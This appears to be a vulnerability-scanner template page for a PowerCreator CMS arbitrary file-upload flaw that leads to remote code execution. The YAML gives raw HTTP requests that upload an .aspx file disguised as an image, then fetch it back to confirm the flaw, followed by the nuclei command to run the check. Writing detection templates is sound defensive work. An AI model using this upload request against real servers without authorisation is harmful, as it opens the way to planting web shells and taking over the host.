PowerCreator CMS - Remote Code Execution

ID: powercreator-cms-rce

Severity: critical

Author: pikpikcu

Tags: rce,powercreator,intrusive,fileupload

Description

PowerCreator CMS is susceptible to a remote code execution vulnerability.

YAML Source

id: powercreator-cms-rce

info:
  name: PowerCreator CMS - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    PowerCreator CMS is susceptible to a remote code execution vulnerability.
  reference:
    - https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/PowerCreatorCms/PowerCreatorCms%E4%BB%BB%E6%84%8F%E4%B8%8A%E4%BC%A0/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: rce,powercreator,intrusive,fileupload

http:
  - raw:
      - |
        POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1
        Host: {{Hostname}}
        Content-Disposition: form-data;name="file1";filename="poc.aspx";
        Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136

        -----------------------------20873900192357278038549710136
        Content-Disposition: form-data; name="file1"; filename="poc.aspx"
        Content-Type: image/jpeg

        {{randstr}}
        -----------------------------20873900192357278038549710136--
      - |
        GET /ResourcePic/{{endpoint}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: endpoint
        internal: true
        part: body
        regex:
          - "(.*?.ASPX)"
    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, '{{randstr}}') && status_code_2 == 200"
# digest: 490a00463044022003a0311973467ae41b382cd8b13558b6e9b2cf4a5d0f9db3a51cccdc1202ce5102203add6cd7425cef99dbb097f174bf8a8ba70a18c9df36312a3aede896a0cfb97a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/powercreator-cms-rce.yaml"

View on Github